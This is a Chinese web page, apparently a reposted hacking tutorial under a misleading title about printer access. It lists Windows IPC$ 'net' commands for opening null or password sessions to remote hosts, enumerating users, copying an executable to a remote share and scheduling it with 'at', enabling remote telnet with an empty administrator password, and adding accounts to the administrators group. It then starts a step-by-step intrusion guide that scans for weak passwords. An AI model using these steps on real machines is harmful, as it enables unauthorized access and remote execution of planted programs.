windows无法连接打印机拒绝访问PC$命令详解 (9)

请注意命令适用于本地还是远程，如果适用于本地，你只能在获得远程主机的shell后，才能向远程主机执行。

1 建立空连接:??

net use??//IP/ipc$??"" /user:""

2 建立非空连接:??

net use??//IP/ipc$??"psw" /user:"account"

3 查看远程主机的共享资源（但看不到默认共享）??

net view??//IP

4 查看本地主机的共享资源（可以看到本地的默认共享）??

net share

5 得到远程主机的用户名列表??

nbtstat -A IP

6 得到本地主机的用户列表??

net user

7 查看远程主机的当前时间??

net time??//IP

8 显示本地主机当前服务??

net start

9 启动/关闭本地服务??

net start 服务名 /y??

net stop 服务名 /y

10 映射远程共享:??

net use z:??//IP/baby??

此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射??

net use c: /del 删除映射的c盘，其他盘类推??

net use * /del /y删除全部

12 向远程主机复制文件??

copy /路径/srv.exe??//IP/共享目录名，如：??

copy ccbirds.exe??//*.*.*.*/c??即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务??

at??//ip??时间 程序名，如：??

at??//127.0.0.0??11:00 love.exe??

注意：时间尽量使用24小时制；在系统默认搜索路径（比如system32/）下不用加路径，否则必须加全路径

14 开启远程主机的telnet??

这里要用到一个小程序：opentelnet.exe，各大下载站点都有，而且还需要满足四个要求：

1）目标开启了ipc$共享??

2）你要拥有管理员密码和帐号??

3）目标开启RemoteRegistry服务，用户就该ntlm认证??

4）对WIN2K/XP有效，NT未经测试??

命令格式：OpenTelnet.exe??//server??account psw NTLM认证方式 port??

试例如下：c:/>OpenTelnet.exe //*.*.*.* administrator "" 1 90

15 激活用户/加入管理员组??

1 net uesr account /active:yes??

2 net localgroup administrators account /add

16 关闭远程主机的telnet??

同样需要一个小程序：ResumeTelnet.exe??

命令格式：ResumeTelnet.exe??//server??account psw??

试例如下：c:/>ResumeTelnet.exe //*.*.*.* administrator ""

17 删除一个已建立的ipc$连接??

net use??//IP/ipc$??/del

（本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创）

十二 ipc$完整入侵步骤祥解

其实入侵步骤随个人爱好有所不同，我就说一下常见的吧，呵呵，献丑了！

1 用扫描软件搜寻存在若口令的主机，比如流光，SSS，X-scan等，随你的便，然后锁定目标，如果扫到了管理员权限的口令，你可以进行下面的步骤了，假设你现在得到了administrator的密码为空

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/ruanjian/article-70763-9.html